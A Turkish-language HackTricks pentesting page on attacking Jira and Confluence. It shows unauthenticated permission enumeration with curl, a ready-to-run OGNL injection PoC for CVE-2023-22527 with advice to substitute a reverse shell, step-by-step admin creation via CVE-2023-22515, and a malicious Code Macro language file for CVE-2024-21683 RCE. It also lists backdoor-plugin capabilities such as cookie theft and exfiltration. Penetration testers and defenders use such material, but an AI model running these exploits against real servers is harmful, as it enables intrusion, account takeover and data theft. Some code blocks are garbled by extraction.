Jira & Confluence
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Yetkileri Kontrol Et
Jira’da, herhangi bir kullanıcı (kimlik doğrulaması yapılmış olsun veya olmasın) /rest/api/2/mypermissions veya /rest/api/3/mypermissions uç noktaları aracılığıyla yetkiler kontrol edilebilir. Bu uç noktalar kullanıcının mevcut yetkilerini gösterir. Önemli bir endişe, kimlik doğrulaması yapılmamış kullanıcıların yetkilere sahip olmasıdır; bu, potansiyel olarak bir güvenlik açığı olup bounty’ye uygun olabilir. Benzer şekilde, kimlik doğrulaması yapılmış kullanıcılar için beklenmeyen yetkiler de bir güvenlik açığını ortaya koyar.
Önemli bir güncelleme, 1 Şubat 2019’da yapıldı; ‘mypermissions’ uç noktasının ‘permission’ parameter’ını içermesi gerekmektedir. Bu gereklilik, sorgulanan yetkileri belirterek güvenliği artırmayı amaçlar: check it here
- ADD_COMMENTS
- ADMINISTER
- ADMINISTER_PROJECTS
- ASSIGNABLE_USER
- ASSIGN_ISSUES
- BROWSE_PROJECTS
- BULK_CHANGE
- CLOSE_ISSUES
- CREATE_ATTACHMENTS
- CREATE_ISSUES
- CREATE_PROJECT
- CREATE_SHARED_OBJECTS
- DELETE_ALL_ATTACHMENTS
- DELETE_ALL_COMMENTS
- DELETE_ALL_WORKLOGS
- DELETE_ISSUES
- DELETE_OWN_ATTACHMENTS
- DELETE_OWN_COMMENTS
- DELETE_OWN_WORKLOGS
- EDIT_ALL_COMMENTS
- EDIT_ALL_WORKLOGS
- EDIT_ISSUES
- EDIT_OWN_COMMENTS
- EDIT_OWN_WORKLOGS
- LINK_ISSUES
- MANAGE_GROUP_FILTER_SUBSCRIPTIONS
- MANAGE_SPRINTS_PERMISSION
- MANAGE_WATCHERS
- MODIFY_REPORTER
- MOVE_ISSUES
- RESOLVE_ISSUES
- SCHEDULE_ISSUES
- SET_ISSUE_SECURITY
- SYSTEM_ADMIN
- TRANSITION_ISSUES
- USER_PICKER
- VIEW_AGGREGATED_DATA
- VIEW_DEV_TOOLS
- VIEW_READONLY_WORKFLOW
- VIEW_VOTERS_AND_WATCHERS
- WORK_ON_ISSUES
Example: https://your-domain.atlassian.net/rest/api/2/mypermissions?permissions=BROWSE_PROJECTS,CREATE_ISSUES,ADMINISTER_PROJECTS
#Check non-authenticated privileges
curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"havePermission": true'
Otomatik keşif
Güncel RCE’ler & pratik exploit notları (Confluence)
CVE-2023-22527 – kimlik doğrulaması gerektirmeyen template/OGNL injection (10.0)
- Etkilenen sürümler: Confluence Data Center/Server 8.0.x–8.5.3 & 8.4.5. Zafiyetli Velocity template
text-inline.vm, kimlik doğrulaması olmadan OGNL değerlendirmesine izin veriyor. - Hızlı PoC (komut confluence kullanıcısı olarak çalışır):
curl -k -X POST "https://confluence.target.com/template/aui/text-inline.vm" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data 'label=aaa%27%2b#request.get("KEY_velocity.struts2.context").internalGet("ognl").findValue(#parameters.poc[0],{})%2b%27&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader("x-cmd",(new+freemarker.template.utility.Execute()).exec({"id"}))'
- Yanıt başlığı
x-cmdkomut çıktısını içerecek.id’yi reverse shell payload ile değiştirin. - Scanner: nuclei template
http/cves/2023/CVE-2023-22527.yaml(nuclei-templates ≥9.7.5’te bulunur).
CVE-2023-22515 – setup reactivation admin creation (auth bypass)
- Açıkça erişilebilir Confluence Data Center/Server 8.0.0–8.5.1,
setupCompletedeğerini değiştirip/setup/setupadministrator.action’ı yeniden çalıştırarak yeni bir admin hesabı oluşturmaya izin verir. - Minimal exploit flow:
GET /server-info.action(kimlik doğrulaması olmadan) ile erişilebilirliği doğrulayın.POST /server-info.actionilebuildNumberparametrelerini göndererek setup flag’ini değiştirin.POST /setup/setupadministrator.actionilefullName,email,username,password,confirmparametrelerini göndererek bir admin oluşturun.
CVE-2024-21683 – kimlik doğrulamalı RCE (Code Macro yüklemesi yoluyla)
- Confluence Admin, Configure Code Macro içinde hazırlanmış bir language definition yükleyebilir; Rhino engine gömülü Java’yı çalıştırır ve bu RCE’ye yol açar.
- Bir shell için, aşağıdaki gibi bir payload içeren bir
.langdosyası yükleyin:
<?xml version="1.0"?>
<languages>
<language key="pwn" name="pwn" namespace="java.lang">
<tokens>
<token scope="normal">${"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}</token>
</tokens>
</language>
</languages>
- Herhangi bir Code Macro gövdesinde kötü amaçlı dili seçerek tetiklenir. Metasploit modülü
exploit/multi/http/atlassian_confluence_rce_cve_2024_21683auth + upload + exec işlemlerini otomatikleştirir.
Atlasian Eklentileri
Bu blog’da belirtildiği gibi, Plugin modules ↗ hakkındaki dokümantasyonda farklı eklenti türlerini inceleyebilirsiniz, örneğin:
- REST Plugin Module ↗: RESTful API uç noktalarını açar
- Servlet Plugin Module ↗: Bir eklentinin parçası olarak Java servlet’lerini dağıtır
- Macro Plugin Module ↗: Confluence Macros’larını uygular, yani parametrelenmiş HTML şablonları
This is an example of the macro plugin type:
Macro plugin örneği
```java package com.atlassian.tutorial.macro;import com.atlassian.confluence.content.render.xhtml.ConversionContext; import com.atlassian.confluence.macro.Macro; import com.atlassian.confluence.macro.MacroExecutionException;
import java.util.Map;
public class helloworld implements Macro {
public String execute(Map<String, String> map, String body, ConversionContext conversionContext) throws MacroExecutionException { if (map.get(“Name”) != null) { return (“
Hello “ + map.get(“Name”) + “!
”); } else { return “Hello World!
”;
}
}
public BodyType getBodyType() { return BodyType.NONE; }
public OutputType getOutputType() { return OutputType.BLOCK; } }
</details>
Bu eklentilerin XSS gibi yaygın web zafiyetlerine sahip olabileceği görülebilir. Örneğin önceki örnek, kullanıcı tarafından sağlanan veriyi yansıttığı için XSS'e açıktır.
Bir XSS bulunduğunda, [**this github repo**](https://github.com/cyllective/XSS-Payloads/tree/main/Confluence) içinde XSS'in etkisini artırmak için bazı payloads bulabilirsiniz.
## Backdoor Plugin
[**This post**](https://cyllective.com/blog/posts/atlassian-malicious-plugin) kötü amaçlı bir Jira plugin'in gerçekleştirebileceği farklı eylemleri anlatıyor. Kod örneklerini [**code example in this repo**](https://github.com/cyllective/malfluence) içinde bulabilirsiniz.
These are some of the actions a malicious plugin could perform:
- **Hiding Plugins from Admins**: Kötü amaçlı plugin'i front-end javascript enjekte ederek gizlemek mümkündür.
- **Exfiltrating Attachments and Pages**: Tüm verilere erişip exfiltrate etmeye izin verir.
- **Stealing Session Tokens**: Yanıtta headers'ı (with the cookie) echo edecek bir endpoint eklemek ve ona bağlanacak bazı javascript ile cookie'leri leak etmek mümkün olabilir.
- **Command Execution**: Elbette bir plugin oluşturup kod çalıştırmak mümkündür.
- **Reverse Shell**: Ya da reverse shell elde etmek.
- **DOM Proxying**: Eğer confluence özel bir ağ içindeyse, erişimi olan bir kullanıcının tarayıcısı üzerinden bağlantı kurmak ve örneğin sunucuya bağlanıp komut çalıştırmak mümkün olabilir.
## References
- [Atlassian advisory – CVE-2023-22527 template injection RCE](https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-datacenter-and-confluence-server-1333990257.html)
- [CISA AA23-289A – Active exploitation of Confluence CVE-2023-22515](https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-289a)
> [!TIP]
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks'i Destekleyin</summary>
>
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
>
> </details>


